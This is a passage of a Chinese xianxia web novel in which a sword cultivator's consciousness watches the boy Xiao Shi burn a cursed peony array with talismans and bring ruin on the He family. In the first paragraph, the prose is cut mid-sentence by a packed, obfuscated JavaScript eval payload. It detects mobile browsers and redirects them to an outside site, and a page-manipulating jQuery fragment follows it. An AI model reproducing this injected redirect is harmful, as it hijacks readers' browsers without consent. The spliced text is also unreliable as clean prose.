毕竟,现在控制身体的可不是他自己的意识体。 他只能通过小十的身体来感知这个世界。 还好,就在这时,小十有了新的发现。 那花深埋在地底下的根系,终于从与普通牡丹别无二致的模样,变成了他们前所未见的形状。 植物的根系应该是洁白的,或者微微发棕发黄的。 但是现在在他面前的,却是深红色的根。 江晏:…… 感觉不是很美妙的样子。 小十动作停了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902391|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一瞬,接着一铲子把它挖了出来。 这下,两个人都完全看清了它的面目。 花根的深处,变得更为粗壮起来,几乎有十多个花茎加在一起那么粗。 江晏皱眉,对啾啾说:“这看起来也太不正常了,而且总觉得营养很好。” “……我不是很想知道这些营养是从哪里来的。”他补充说。 显然小十也不想知道。 他准备毁去这些根系。 他先是用铁铲的头部砸下去,试图把这堆诡异的东西一分为二。 然后……没砸动。 他揉了揉被微微震麻的手腕,然后伸出手掌一翻,手中多了一团火苗。 小十引导那火苗去烧这些根系。 江晏看着,自言自语:“说真的,我好怀念自己的原装身体啊。” “火灵根蛮好用的,无论是居家还是外出历练,都非常实用。” 他的意识体拽着啾啾晃了晃:“所以,我到底什么时候能回去呢。” 啾啾炸毛:“这个问题你已经问了无数遍了!” “要看你分魂的情况,我也不知道。” 江晏兴致缺缺地哦了一声。 他现在已经逐渐接受了要在不同世界之间穿梭的现实,但是像这样,在自己曾经生存过的世界里以另一个身份活着,并且到目前为止还没发现和自己原身份的关联,也是头一次。 世界千变万化,江晏感到头大。 但作为一个修为很有境界的剑修,江晏的内心也是豁达的。 他便不再纠结于这些资金也无法确定的事,而是继续看着小十这具身体的动作。 不看不知道,这一看就看出问题了。 小十……又失败了。 他用火灵根引出来的火苗,蓬勃跳跃,颜色鲜艳,一看就颇有热度。 被翻出来的根系蔫蔫地搭在地上。 火苗靠近了这些奇形怪状的东西,依稀能看到根系周围的空气因热度而产生了流动,让这些盘根错节的东西更加扭曲了。 火舌舔上根系的一瞬间,暴涨起来,把深红色的根也映成了橘色。 在这种温度下,他们应该很快变形,弯曲,颜色加深,最后变成干瘪又枯槁的样子。 就像何家曾经被送往油室后的“灯油”一样。 但是眼前的这些植物,只是微微扭曲。 江晏:…… 他感到身体里的灵气翻涌,看来小十是加大了火焰输出。 小十掌中的火焰发出轻微的噼啪声,有细小的烟尘被灵火点燃,袅袅向上飞着,橘红点点。 看起来甚至有几分静好。 但江晏知道,小十的心情可一点都不静好。 ——这孩子在尝试两次毁掉根系都失败之后,整个人都开始低落了。 陷入了对自己能力的怀疑当中。 江晏:“……还是经验少。” 啾啾把目光转向他,江晏继续说:“唔,是光抱着那一堆书看了,没有尝试过。” 他语气中诡异地透了几分怀念:“以后等他拜了师,被师傅骂几次就记住了。” 啾啾:“请你讲人话。” 江晏:“好吧,我的意思是可以借助一些其他的东西。” “比如,符纸。” “这孩子不是最近也在学符修嘛,正好能看看他的学习成果。” 81. 符纸 江晏在意识海中和啾啾吐槽完毕,便继续盯着小十的动作看。 不知是不是巧合,只见小十在原地呆了几息,似乎想到了什么,突然抬起头来。 一同抬起的还有他的右手臂,小十食指和无名指并拢,中间夹了一张已经画好的符纸。 园圃里静悄悄的,连风吹过的声音也没有。 小十垂下眼,把捏着符纸的手放在胸前。 江晏看着,那张淡黄色的符纸无风自动,在他手中轻轻摇摆着。 江晏便对啾啾说:“孩子有前途。” “符纸飘起来,是经脉里灵力涌动的表现。” “他这个身体资质不算绝佳,但加上他的灵魂之后,还是很有前途的。” 啾啾踹了他一脚:“行了行了。” “自从这孩子在修习方面渐渐上道之后,你已经说了无数次他有前途了。” “知道你是惦记着,大不了等你回到原世界之后再找人家呢。” 江晏点头:“我也是这么想的。” 又用意识体指了指身体外面:“看,符纸已经烧起来了。” 啾啾便和他一起看过去。 先映入眼帘的不是那一团根系了,而是一片橘红的光。 这片光来自于小十的手上。 他手上的符纸烧了起来,有星星点点的余烬向四周散去。 小十的眼睛依旧垂着,口中嘟囔着什么。 江晏听得不是很真切,但依稀能分辨出来,是符修催动符纸的法术口诀。 在小十口中最后一个字落下之后,他手中的符纸也燃尽了。 周围的景象黯淡下来。 但很快,有什么东西变得不一样了。 那形状诡异的根系,颜色似乎开始变浅了。 江晏顺着小十的视线看了片刻后,突然意识到—— 根系的颜色不是变浅了,而是,它在开始发光。 是从根系内部发出的光。 是橘红色的光,沿着根系表面逐渐龟裂延伸的纹路,一点一点透出来。 根系开始扭曲了。 它们在地上蠕动,根须向四周用力伸着,痉挛挣扎。 这画面简直比它们刚刚被挖出来时还要诡异,小十的身体往后退了两步,离差点触碰到他衣角的根须拉开了距离。 随着红光渐盛,根系表面也逐渐变成了焦黑色。 它们外延伸的触手便突然僵直了,固定在空中。 随后便如凡间普通的、被烧焦的植物一样,陡然摔到地上。 干焦的躯体四分五裂,向周围溅去。 其中有一片拇指大小的残骸,滚落在了小十脚边。 小十犹豫了一下,还是低头把它捡了起来。 这次,在他意识海里先说话的居然是啾啾:“他就这么直接用手拿起来了?” 江晏却很无所谓:“没事的,反正烧它之前怎么弄也没有反应的,更别说被烧过之后了。” 啾啾疑惑:“你就不担心这牡丹没被烧干净却假装被烧死了,趁机给这孩子一下?” 江晏:“……何家应该没有这么高级的东西。” 这句话说完,就连江晏也感觉嘲讽意味十足,便又补充道: “哦,退一万步讲,即使是这样,正好给小朋友一个实战的机会。” 啾啾:…… 他沉默了。 而他们通过共同的视线,能看到小十把手里这块残骸翻来覆去把玩了个遍。 最后捏了捏,接着随手一丢。 这还不够,他伸出一条腿,踩在上面,用力撵了几下。 江晏和啾啾:…… 确实,何家这一株呼应邪术的植物,已经死得透透的了。 这也意味着,小十用这个方法毁去何家阵法是可行的。 小十自己也是知道这一点的,江晏能感到,他的心情好了很多。 具体表现就是,他一边哼着不成调的曲子,一边按着曲子的节奏,把剩下的依稀能看出植物根茎形状的残灰,逐一碾碎。 然后收集起来,放在了身上,一蹦一跳的去找宗翊汇报成果了。 宗翊依旧是坐在床上,对小十进行了充分赞扬。 小十静静听着她把话说完,道:“那我就按这个办法去做了。” 宗翊点头。 小十便更加愉快地出去了。 江晏观察着他的状态,总觉得有几分眼熟。 ……有点像他们在上个世界里养过的猫。 当一只猫猫准备去干坏事时,他的尾巴会翘得高高的,下巴也会抬得高高的,步履轻快。 小十便像一只坏猫一样,蜷缩在他自己的屋子里,开始计划让何家倒大霉。 方法很简单。 ——那就是准备足够的符纸。 刚刚把花根都烧尽了的符纸叫除祟符。 江晏在小十画完第十张符纸时,终于想了起来这种符纸的名字。 除祟符的名字非常直观,一听就知道是用来干什么用的。 它的原理也简单粗暴,就是检查周围有没有怨气。 如果有,就能成功催动起来。 何家消耗了那么多的“灯油”,那些花作为辅助的阵法,自然也会受到“灯油”怨气的影响。 除祟符因此就发挥了作用。 小十坐在桌前,照着一本摊开的符纸书,一笔一划在纸上勾勒着。 江晏的意识体在他的身体中,揉了揉下巴。 剑修可算是想起来了自己为什么没有在第一时间认出来这是除祟符。 一方面,剑修和符修是两种修炼方向;另一方面,是小十催动符纸时产生的灵火。 江晏从前第一次见到除祟符,是在自己离开合江宗做任务时,白一苇给他画的。 那也是他第一次自己独立出去。 所以和他同一批入宗门,一同修炼的白一苇并不很放心,又听说任务和人间的怨念有关,便给他画了除祟符。 白一苇是水灵根,在他画符时,身边有水流荡漾。 先入为主,江晏便理所当然地认为除祟符应该伴随着潺潺流水。 并且他还说服了自己,像在第一个世界里解数学题一样,给出了非常合理的脑补: 水可以洗涤脏污,有清洁的效果,所以除祟符应该和水有关。 …… 念及这一段往事,江晏不禁嘴角抽搐。 ——剑修直到今天才知道,除祟符制作和催动时的外观,是与当事人的灵根紧密相关的。 还好从来没有人问我关于画符的事。 江晏心有余悸地想着,一边看向小十。 小十面 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在啾啾疑惑的目光中,他解释说: “小朋友在自言自语,自己哄自己呢。” 果然,小十在说完了这番话之后,成功地哄好了自己。 他把已经画好的符纸收好,洗漱之后,便歇息下来。 他这边睡得熟,江晏却有些忧心忡忡了。 他年龄毕竟比小十大,又在这个世界生活过,想到的问题会更多。 江晏把啾啾薅起来:“我有点睡不着。” “按照他现在这个进度,估计明天或者后天,最多不超过五天,就能把何家的秘法清理干净。” “但是,何家里面的这些人怎么办?” “仆役好说,让他们再寻一个去处就是了。” “灯油问题也不大,让他们自行离开。” “但是,”江晏皱眉:“何家里也会有像采玉一样的,没有修过邪术的人。” “采玉可以回宗家,但是其他人呢?” 啾啾听了,安静了一会儿,道:“我觉得,小十可能会放走他们,让他们自力更生。” 江晏长长“唔……”了一声:“我也是觉得这个可能性比较大,但是……” 啾啾打断了他的话:“但是你并不放心他这样做,是吗?” “是的,这种事对于何家留下来的人,堪称灭顶之灾。” 江晏说着:“他们日后未免不会有其他心思。” 他按按眉心:“但我不记得自己曾听过什么报仇的事,希望是自己想多了。” …… 一夜过去,小事又来到了书桌前,继续画符。 江晏观察着,发现这孩子自从发现搞垮何家的方法之后,整个人身上有使不完的牛劲。 好像人生中只有画符这一件事了。 江晏陪着他画,画到这新的一天再次日落西斜时,剑修即便是作为一个意识体,也开始感到眼酸头晕。 不过他也得到了一个好消息: 小十在夜色中停笔,翻了翻桌面上堆积的符纸,做出的总结———“终于画完了。” 82. 行动 时隔两天,小十再次踏入了宗翊的房间。 这次,他向宗翊借了人,由他们悄悄把牡丹的根系挖出来,再虚埋回去。 同时里面加上了小十自己做的除祟符。 针对这一套操作,小十是这样给宗翊解释的: “啊,你只管让他们把符纸和花根埋好就好了。” “之后我会催动符纸,这样就可以在差不多同一时间里,把何家辅助邪术的大阵毁掉。” “他家里所有修炼过邪术的人……啊小姐我不是在说你,呃……总之都会受到反噬。” 宗翊见他磕磕绊绊把最后一句说完,却是笑了,带着几分破罐子破摔的意味: “没事,反正我现在的身体已经坏到不能再坏了。” “这样也算是死得其所了。” 于是小十对着她,又不知道该说什么了。 宗翊摆摆手,示意他退下。 小十便微微颔胸,退出了内室,来到了廊外。 栖霞苑里有一处巨大的三角梅,浅粉白与深粉紫的花瓣摇曳着落下。 小十隔着这场花雨,再次向内室里看去。 宗翊坐在床上,被锦绣簇拥成了一个小点。 小十知道,开始行动之后,这可能是他最后一次见到宗翊了。 他收回的视线,转过身,走出了栖霞院。 江晏看着这一切,隐隐约约产生了某种期待。 ——小十办事效率很高,照目前这个进度,不久之后,他应该就能离开何家了。 接下来,他会去哪里呢? 自己也要继续跟着他吗? 江晏问了啾啾,但啾啾也不知道答案。 灰色小鸟给出的建议是:走一步看一步。 然后就被无语的江晏捏住了鸟嘴。 一人一鸟的神魂聚小十这个壳子里,和他一样坐在房檐上,俯视着何家的院落。 依稀能看到几个宗翊带来的人,在花圃附近鼓捣。 很快,就有何家的管事过来了,拉住了一个正在挖土的人,询问是在做什么。 他们交谈的声音顺着风飘过来,清晰地落在小十的耳朵里。 “啊,这是我们夫人的意思。” 管事皱皱眉:“什么事情?家主知道吗?” 那人回道:“是到了每个季度要给这些花施肥的时候了。” 他继续说着:“打理府中花卉的事宜一直是夫人负责的。” 事实上确实如此。 何照山忌惮宗翊背后的家族,以及被她发现的秘密,因此平时一直防着她。 宗翊所知道的,或者是真正能说上话的事,并不能触及到何家的核心。 就比如此时的打理花卉。 管事听了这番话,果然不再怀疑,反而是点点头,让面前几人好好施肥,把花养得更好。 他道:“这些花都是外面买不到的,何家独有的。” “就连花根和外面的也不一样。” “你们可仔细些,千万不要弄坏了。” 说罢,便背着手离去了。 小十轻轻笑了一声。 又自言自语道:“……原来符修这么少啊。” “要是宗翊给的人也是符修,就不用费这么大的劲把符纸埋到土里了。” “我就可以给他们一人一张符,直接站到旁边催动就行了。” 他说完这几句话后,又安静下来。 目光从脚下的何家渐渐上移。 于是远处层层叠叠的民居、酒楼映入他和江晏的眼帘。 小十就这样面无表情地看了一会儿,目光再次上移。 这次是秋色中的群山,和高原的天。 江晏陪他看着,受景色感染,也想到了一些遥远的事情。 他说:“这小朋友应该以后会成为一名符修吧。” 啾啾:“不出意外,应该是这样。” 江晏看着天:“我突然想起来,我确实有一位故人,是符修。” 啾啾笑了:“你不会想说那个人就是他吧,虽然符修不如剑修多,但也不至于天下就那一人……” 江晏摇头:“我没有说小十就是他,我只是想起了有这么一个人了。” “但我忘记他的名字了。” 啾啾:…… 不知为何,它感觉现在的江晏似乎有点低落。 于是它决定打岔:“话说,合江宗以剑修为主流,你从哪里认识了这么一个符修?” “第一次出任务遇到的。”江晏说。 啾啾沉默了。 它好像说错了话。 第一次出任务那必须是刻骨铭心啊! 遇到的符修小伙伴也算得上是患难之交了。 但这样……江晏却把对方……忘了。 江晏有些烦躁地闭了闭眼:“说起来你可能不信,我在渡劫之前,还是能记住他的脸和名字的。” “但自从去小世界,呃不对,是在来到这个世界之后,我好像忘记他了。” 他看着啾啾,点点自己的额头:“他只给我留下了一个影子一样的模糊记忆。” 说完,扭过头去,看着远处的群山:“为什么会这样。” “我在合江宗好好的,怎么会被雷劈了,然后遇到这种事。” 江晏无法控制地低落起来。 他面对着高远的天空,正准备对啾啾抒发一番对于人生无常的感慨…… 然后面前的天空变成了石质地板。 江晏:…… 他刚要出口的话被噎了回去——小十偏偏在这个时候跳下了房檐。 然后江晏的视野跟着小十疯狂变化。 先是一段又一段用朱红柱子隔开的廊桥,然后是贴着青灰色瓦当的屋墙,还有一座太湖石假山…… 小十步伐有些快,视线里的东西换来换去。 就像一把切开奶油蛋糕的刀,切开了江晏的心情,并把那种难以名状的、湿漉漉的情绪搅得稀巴烂。 并最终拽着他去外面的世界疯跑一样。 江晏察觉到了自己心情的这种变化,出乎意料,这次面对这种脱离了他自己掌控的情况,他居然有几分享受和放任。 所以他看着小十。 看他通过传讯符确认了所有的除祟符都已经放好。 他便和这场密谋的主角小十一样,开始激动,开始期待。 小十在栖霞院里,在自己的屋子里。 他现在根本坐不住,手中拿着一张符,围着桌子,在不穿大的房间里一圈圈转着。 江晏看着他手中的那张符纸,感觉和之前见到的除祟符大体相似,但略微有几处不同。 想来是加了一些总控制的功能,便添加了笔画。 小十终于还是站定了。 江晏感觉他身上很热,不知是因为刚才的活动,还是因为这孩 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他嘴唇微动,说出来一串江晏并不能完全听明白的口诀。 这一串口诀不长,小十没用多久,就说完了。 也许是一朵花开的时间。 也许是咬掉一口馒头的时间。 总之,在小十念完这一段口诀后,世界似乎并没有什么不同。 隔着一层墙,耳边依旧是窸窣的鸟鸣。 和树叶落下的声音。 江晏在心里默默数着数。 一,二,三…… 在他数到二十的时候,似乎什么东西不一样了。 秋天的落叶声里,掺杂了人声。 随后人声越来越多,声音也逐渐大了起来。 小十眼皮动了动。 于是江晏的世界又亮了起来——小十睁开了眼。 他走出了房门,走过了栖霞院的廊桥,走到了何家的院落里。 仆役们三三两两聚在一起,面上带着好奇、紧张和犹疑。 他们每个人都在张着嘴说话。 声音混在一起,沙哑的,尖锐的。 但他们都再说同一件事—— 何家院子里养的所有牡丹花,突然全部自己燃烧起来,化成了灰。 牡丹是何家的家纹,遇上了这样的事,实在不吉利。 仆役们骚动着。 小十从他们身边走过。 他知道,这只是一个开头。 他往何照山院落的方向走着,一路上,看见了几个在何家有头有脸的管事,行色匆匆,也在朝着同一方向前行。 他们面色凝重,完全没有理会小十。 小十一路走着,直到到了何照山书房前,才被拦了下来。 他也没有强闯。 反而对拦下他的侍卫笑了笑,转身跳到了一旁观景楼的屋檐上。 居高临下,将何家的情况尽收眼底。 ——仆役们说得不错,从前花团锦簇的园圃,现在已经变得焦黑。 还有几个搞不清状况的粗使仆役,围着花土团团转。 小十眯了眯眼。 在远处,似乎是宗翊的人,往油室的方向去了。 83. 覆灭 宗翊带来的那批人效率奇高。 不到半柱香的时间,灯油的住处,以及油室的方向,变化陡生。 人先是感觉地上震了几震,向那边望去,只见浓烟滚滚,房屋竟是尽数垮掉了。 几息后,最后的轰鸣声才传到了小十耳朵里。 也传到了他脚下何照山居所中所有人的耳朵里。 小十揉揉耳朵,吹了个口哨。 江晏由此判定出现在这孩子的心情极为愉悦——看仇人倒霉,怎么不能算人生的一大幸事呢? 所以,小十继续看向房屋倒塌的方向,目光中隐约有所期待。 很快,江晏就知道他在期待什么了。 在因房屋倒下而掀起的烟尘中,渐渐出现了几个移动的小黑点。 小黑点向前跑着,带出来后面一串更多的黑点。 他们是被何家骗过来的灯油。 现在,真相已被知晓,他们冲出了房间,冲出了一层又一层院落,冲出了何家的大门。 小十依然坐在屋顶上,以手支颐,看着这一群人的轨迹。 他们可能重新在凡世间做一个普通人,也有可能去投靠救人者背后的宗家,还有可能从此成为一介散修。 但这些并不重要,小十也并不关心。 他把视线移到了何照山身上。 何照山用自己家的邪术修炼的最多,因此,在毁去那些辅助修炼的阵法之后带来的反噬,最先体现在了他的身上。 何照山似乎从本能中感受到了不祥,他举起双手,是一个介于攻击和防备之间的动作。 但是他手臂抬起的速度肉眼可见地变慢。 他像是从一个精力勃勃的中年人,转眼之间就变成了垂暮的老者。 连抬起一根手指都费力。 他明明在呼吸着空气,四周却有什么东西变了。 好像空气变成了胶质,包裹住了的关节,让他无法再挪动一分一毫。 何家的家主何照山,在这个普通的秋日里,就像是渐渐结冰的雕塑,凝固成了院落里的一具人形。 ——他还有呼吸,还有心跳。 皮肤依然是软的,身体上还有温度,但却再也动不了。 邪术反噬的后果,终于出现在了众人面前。 何照山的院子里还聚集了本家的一些人物,以及几个大管事。 他们见了面前的景象,哪有还不明白的道理? 一瞬间,院子里的场面就乱了。 有的人呆呆地站着,突然双腿一软,瘫倒在地上;有的人狂奔冲进家主的书房,希望从里面找到解决反噬的方法。 甚至有人原地坐下,试图自断筋脉,来阻止功法的反噬。 但这些都没有用了。 邪术之所以是邪术,是它所给予的东西暗中都标好了价格。 小十垂下眼帘,看着底下就一群人挣扎—— 他们所做的一切尝试都是徒劳的。 反噬也许推迟,但是它是一定会发生的。 到时候,修炼过邪术的人都会像何照山一样,整个人逐渐成为一块会呼吸的石头。 不能修炼,不能说话,不能移动。 然后□□和精神在时间的推移中,慢慢消亡。 何照山的身体立在庭院中。 在一炷香的时间后,又多了几个躯体陪他一起立着。 其余的人终于认清了现实。 他们拖着还算利索的双腿,打着抖,站起身来,离开了这处院落。 小十坐在高楼上,目送他们走出何家的大门。 走向他们可以预料的末路。 灯油走了,修炼过邪术的人走了。 剩下的仆役也准备走了。 现在的何家一片混乱,主子都自身难保,也没有人管他们了。 他们先是冲进了平时根本不得进入的内室,找到了自己的身契烧掉。 然后又收拾了一些被主家抛弃的金银细软。 还有一些胆大贪心的,把雕龙画凤鎏金的窗棂也卸了下来带走。 天上云卷云舒。 小十高高坐着,没有挪地方。 两个时辰以后,何府基本上算空了下来。 留在府里的是已经倒塌或被弄得一团糟的房屋。 还有何照山等完全不能动的、稍微能动一点但已经不能支撑走出府门的人。 还有…… 小十看着远处一个熟悉的院落,皱了皱眉。 ——还有宗翊。 她病得很重了,再加上反噬,整个人可以说只剩一口气了。 她躺在床上,被两个她从宗家带来的人抬出了栖霞苑,抬出了何府的大门。 她的苦难从这里开始,但万幸,没有,在这里结束。 在她的身后,还跟着一个小小的何采玉。 她们会回到宗家,在那里开始一段新生活。 秋风瑟瑟,日落西斜。 距离何家的变故,已经过去了四个时辰。 此时的何府,除了那些不能行动的人形,已经变得空荡荡了。 小十揉揉下巴,掏出来一块儿记录了何家秘法的留影石,重新阅读起来。 江晏和他一起看着。 秘法上面说,遭受到反噬之后,人不能动,也不能修炼。 这仅仅是一个开始。 随着时间的推移,他们的身体会发生异变。 从有血有肉的躯体,变成一根木头。 他们的血液会凝固,木质的纹路沿着血管生长。 皮肤会僵硬,粗糙的树皮覆盖掉原本的模样。 小十看到此处,呲了一下嘴。 江晏估计他是想象到了那种画面——虽然是他们罪有应得,但观感依然不太美妙。 他看着小十手中的留影石。 事情到了现在这种地步,后续已经非常明确了。 何家的现状以及可以预料到的未来,能和江晏自己记忆中嬢嬢说的话对应上。 于是,他不免有些兴奋起来。 ——按照这个时间节点,当时的自己是在竹城打零工。 并且很快就要到了听说合江宗新招收一批子弟的消息。 然后就是参加参加大选,顺利进入合江宗。 江晏越想越激动,问啾啾:“你说,这孩子会参加不久之后的合江宗大选吗?” 啾啾:“会的吧,这种大选主要是为了找好苗子,就连毫无修为的人也可以参加。” “小十没有不参加的理由。” 江晏点头:“而且,当时的我在竹城。” “现在这孩子也在竹城。” “合江宗确实在竹城选上来了一批弟子,人不算少。” “让我想想有没有他……” 啾啾看着江晏的意识体。 片刻后,江晏叹了口气。 “……我记不住他们的脸了。” 充满期待的啾啾:…… 它扑棱了两下翅膀,用鸟屁 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失重感裹住了他,狂风拍在脸上,灌进鼻腔里,耳朵里。 小十的身体逆着风,无法呼吸。 江晏发出持续的爆鸣。 在他的意识体不知道尖叫了多久的时候,下坠的势头似乎放缓了。 江晏闭上了嘴。 借小十的眼睛,他看到了放大速度逐渐变缓的地面。 被吹乱的头发渐渐落了下来。 小十的身体平平稳稳、安安全全地降落下来,站在了地上。 江晏:…… 他后知后觉地想到了刚才自己的反应。 并恼羞成怒地把发出无情嘲笑的啾啾丢到了意识海的一边。 小十环顾四周,满意地点点头。 然后便朝着某个方向走去了。 江晏沉浸在刚才自己失控的情绪当中,没有把注意力分给他。 所以当江晏回过神来时,他看着面前熟悉的多层建筑,整个人愣住了。 然后是有些抓狂。 他把被抛到意识海另一头的啾啾抓了回来,双手举着它用力摇晃着:“哎哎,你快看啊——” 啾啾:“……好了请你冷静一下,我看得很清楚。” 江晏意识体指了指外面的建筑:“所以你不打算说点什么吗?” 啾啾摊摊鸟翅膀:“我只是一只弱小可怜又无助的小鸟,对于你们人类的种种行为,我保持沉默。” 江晏:…… 他放开了小鸟。 然后对着小十视线中的藏书阁愣神。 ——是的,这位小朋友在干掉仇人后的第一个晚上,没有选择诸如话本里的“大喝一场”“大哭一场”等等,而是选择了……去图书馆学习。 江晏看他兴奋地推开藏书阁的大门。 他便想到了他们第一次进藏书阁的时候,还是偷偷摸摸拿着穿墙符进去的。 他又看着他的步子越来越快,走过一排排书架,越上一层层楼梯。 好像有一只火红的小狐狸,一步又一步踩在他的心房上。 小狐狸跳过他心底潺潺的春水。 江晏愣了愣神,又一把抓起了啾啾,喃喃道: “……其实也不是不能理解。” “毕竟,这可是一座藏书阁啊。” 84. 试图创业 何家的问题基本解决了。 小十跑到藏书阁里,在发现密室的那一层坐下。 江晏看着他,心中渐渐浮现了一些别的东西。 他突然觉得小十给他的感觉有点熟悉。 尤其是一些神态,还有一些动作。 尤其是……他现在在藏书阁里睡着的样子。 不知怎么回事,江晏突然想起了第一个世界的宁时。 这个想法是如此地突如其来,以至于江晏自己反应过来的时候,干咳了好几声。 他想,小十不应该是自己的分魂。 已知,自己=宁时。 而自己是有进入合江宗之前那一段在竹城的记忆的。 那时,他在给别人打零工,和现在的情况完全对不上。 江晏叹了口气。 所以,结论就很明显了,小十是一个他不认识的小伙伴。 但是,江晏想到了那种微妙的熟悉感。 真的是太别扭了,他想。 江晏自己琢磨不出来,于是去骚扰啾啾:“你说,这个世界里,我的分魂会在哪里?” 啾啾看了他一眼:“首先,这个世界是从前发生过的事,不是那些我们可以进入并且改变的小世界,所以分魂不一定在这里。” “即便分魂在这个世界,但我也没有收到他距离你多远的提示。” 说完,歪了歪头,用绿豆大小的眼睛看着江晏:“想到什么了,怎么会突然问这个问题?” 江晏:……有时候他也很佩服啾啾的直觉。 他便说了:“哦,只是有那么一瞬间突然感觉这孩子和宁时有点像。” 他本以为会收到啾啾的调侃,没想到小鸟却噤声了。 江晏:? 他顶着一脑袋问号:“不是,你说句话呀。” 啾啾:“虽然说我也觉得分魂不在这个世界上,但是,我有必要提醒你一种可能。” “还记得你从前两个小世界吗?我收到分魂位置的提示,就像这种小世界里的导航系统。” “有提示,说明分魂在。” “如果没提示,有两种可能。” “第一种,大概率事件,就是分魂不在这个世界上。” “第二种……你想想,如果你已经到了目的地,导航还会再提示你怎么走吗?” 啾啾吸了一口气:“换句话说,第二种可能就是分魂一直在跟着你。” 江晏:…… 在这个何家已经没有活人、万籁俱静的夜晚里说出这种话,他开始感觉毛毛的。 江晏顺着自己的理解说了下去:“唔……这孩子应该出去多走走。” “好像自从我来到这个世界,他就一直没出过何府。” “也许出去之后,远离了分魂,你那里就有提示了。” 江晏越说越自信,语气坚定了很多:“那我们就可以反向推断出分魂藏在何府的哪里了。” 啾啾:…… 虽然感觉怪怪的,但鉴于面前剑修的表情太过于肯定,它选择了相信。 ——反正寻找分魂的又不是它这只小肥鸟。 江晏和啾啾聊的这段时间不算短,他们说到此处时,小十已经睡下了。 ……是的,他守在藏书阁密室的门口睡下了。 江晏的意识体无语望天。 不知是在感慨这孩子的谨慎,还是在感慨出府的计划泡了汤。 …… 一夜平安过去。 翌日,小十在藏书阁醒来。 江晏在昨晚和啾啾聊过天后,似乎已经认定了分魂就藏在何府。 因此,他极为期待小十能够出府晃悠几圈,通过啾啾那边感受到的分魂气息来反向确认分魂位置。 但是小十让他失望了。 小十一早确实离开了藏书阁,去何照山的院落里看了看。 ——对此江晏表示理解,毕竟何家遭遇反噬的核心人物都在那边,谨慎一些是没错的。 但是。 但是小十在检查完仇人的状态后,又返回了藏书阁看书。 江晏:…… 他受不了了,他要和啾啾吐槽。 江晏:“不是,他怎么可以这么卷呢?!” 卷,是剑修在第一个小世界里学到的词。 江晏是一个善于学习融会贯通的人,所以他学以致用。 啾啾听了,却道:“其实和你挺像的,难道你就不卷了吗?” 江晏:? 或许是他目光中的疑问太过于明显,啾啾解释:“或许,你还记得你刚进入宗门时吗?” “是谁因为自己从前没有接触过修炼,所以连晚饭也不吃专门去练武场的练习的?” “是谁把师傅讲课的笔记做得最认真,然后转手买给同门们收获了一大笔高价灵石的?” “又是谁去后山找了个山洞,准备用十天吸收灵石却没想到卖了太多以至于一吸就吸了一个月的?” 江晏:…… 他捏住了的看起来还没有说完的啾啾的鸟嘴。 啾啾报以一啄:“不能因为现在你是峰主了,不用卷了,就忘记了你从前卷过的事啊——” 小鸟跳上了他的头顶,揶揄道:“人啊,不能忘记来时的路。” 江晏彻底沉默了。 但沉默归沉默,他还是希望小十可以出去溜达溜达的。 理想很饱满,现实很残酷。 小十在何府一呆就是一个月,这一个月里,他出了在藏书阁学习,就是在清点何府的资产。 江晏旁观着,他感觉这孩子有想法。 要干一件大事。 事实上确实如此。 小十在藏书阁里泡了半个月,画符的本领更加熟练了,就连画出来的符功效也能维持得更久了。 此时恰逢人间战乱,魔界纷争,修真界苦于无人飞升已久。 简而言之,就是三界各有各的不安生。 所以在竹城的百姓,生活必需品就和其他时期有的一些微妙的不同。 比如会在家里悬挂祛除邪祟的符纸,备着一些能抵抗法术攻击的法宝。 这些东西,在大街上的店铺就能买到。 就如同买药一般,虽然其中有些讲究,但也是生活之中的事。 小十终于走出了何府。 何府在那一场反噬中,丢失了不少财宝。 但混乱中趁机发财的大胆人毕竟是少数,何家依旧留下了不少好东西。 小十用翻出来的储物戒指带出了一部分,前往了竹城本地最大的当铺。 当了一笔颇为可观的财富。 啾啾看着,有点担心:“他还算 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江晏继续:“或许我们还可以对他给予厚望,比如成为当地符纸行业的首富……” 啾啾这次说话了:“说起来,你有没有觉得他干的这些事有些眼熟?” 江晏:“哈?” 啾啾:“第一个世界。” “他这副样子,和你的分魂在第一个世界里创业时期,去参加各种比赛、路演项目的状态很像。” 江晏本来想反驳,但琢磨了一下,还真琢磨出来一丝熟悉,语气便犹疑了:“不应该啊。” 他想到了什么:“欸,小朋友最近终于出府了,你有没有收到分魂在哪里的提示?” 啾啾摇摇头。 江晏沉吟片刻,自己说服了自己:“也许这个时期,我还没有产生分魂。” 啾啾:“……不是,你产生分魂是失忆之前,但你已经有这个时期的记忆了。” 说完,一人一鸟面面相觑。 江晏抓了把头发,总感觉自己一直以来的思路似乎遗漏了什么。 但一时也想不到。 他便决定先不管了。 转而和小十共享人生体验。 小十现在是个大忙人,他现在白天在忙着和竹城里种种店铺的老板打交道,到晚上了,就把自己关到藏书阁里看书画符。 江晏看着,感觉这孩子比他刚刚穿到这个身体上还要努力。 ——江晏严重怀疑是何家的倒台让小十看到了人生方向,找到了以后的奋斗目标。 又过了一个月,此时整个竹城已经完全进入了冬季。 这些日子,江晏回想起了不少自己从前在竹城的细节。 他对啾啾说:“其实这个冬天是我过得比较好的。” 他用小十的眼睛,看着苍白天空中几只黑色的树干:“我不记得过去的事,但我知道此时的人界在打仗。” “当年我在竹城跟着一个嬢嬢,在她的小饭馆里打杂,也算安稳。” 说道此处,江晏想到了什么:“竹城说大不大,说小不小。” “小朋友居然没去我从前干活的地方看过。” 85. 大选公告 不知是不是听到了江晏的心声,小十居然放下了手中的笔,准备出门了。 江晏:…… 明明知道不可能,他却忍不住和啾啾贫嘴: “你说,这孩子会不会就是去找我的。” “然后找到我,把我接到,”他的意识体比划了一下,“这么大的何家来住?” “也不枉我在这个世界里陪他的几个月。” 啾啾:…… 这个世界和之前两个小世界的情况不一样,它怀疑没人和江晏说话,剑修已经放飞自我了。 但它作为一个神器,道:“第一个就排除你说的这种情况。” 江晏:…… 啾啾解释:“一开始我说过了,这个世界不同于之前。” “之前那两个小世界是真实的,所有在小世界里发生的事会和现行的时间线同步的。” 